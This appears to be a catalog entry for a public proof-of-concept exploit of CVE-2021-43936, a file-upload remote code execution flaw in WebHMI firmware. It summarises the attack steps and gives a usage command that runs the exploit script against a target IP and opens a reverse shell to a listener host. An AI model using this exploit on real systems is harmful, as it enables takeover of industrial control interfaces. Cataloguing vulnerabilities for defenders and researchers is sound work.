CVE-2021-43936 PoC — Distributed Data Systems WebHM

Source

https://github.com/LongWayHomie/CVE-2021-43936

Associated Vulnerability

Title:Distributed Data Systems WebHM (CVE-2021-43936)
Description:The software allows the attacker to upload or transfer files of dangerous types to the WebHMI portal, that may be automatically processed within the product's environment or lead to arbitrary code execution.

Description

CVE-2021-43936 is a critical vulnerability (CVSS3 10.0) leading to Remote Code Execution (RCE) in WebHMI Firmware.

Readme

# CVE-2021-43936

CVE-2021-43936 is a critical vulnerability (CVSS3 10.0) leading to Remote Code Execution (RCE) in WebHMI Firmware.</br>
This vulnerability works on versions 4.0 and the newest ones.</br>
Tested only on 4.0.7475. Vulnerability is used by script in the following steps:</br>
  1. Logs into the application
  2. Uploads the PHP code execution script
  3. Sends the reverse shell payload

Exploit can fail, if there are more than one NIC attached. The solution is to try once again.

## Usage example:
`python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80`

![Screen](img.PNG)

File Snapshot


 [4.0K]  /data/pocs/920749ca9e0aedaf945da5d22e4d3f498b6e4063
├── [3.4K]  cve-2021-43936.py
├── [ 69K]  img.PNG
├── [1.2K]  LICENSE
└── [ 610]  README.md

0 directories, 4 files

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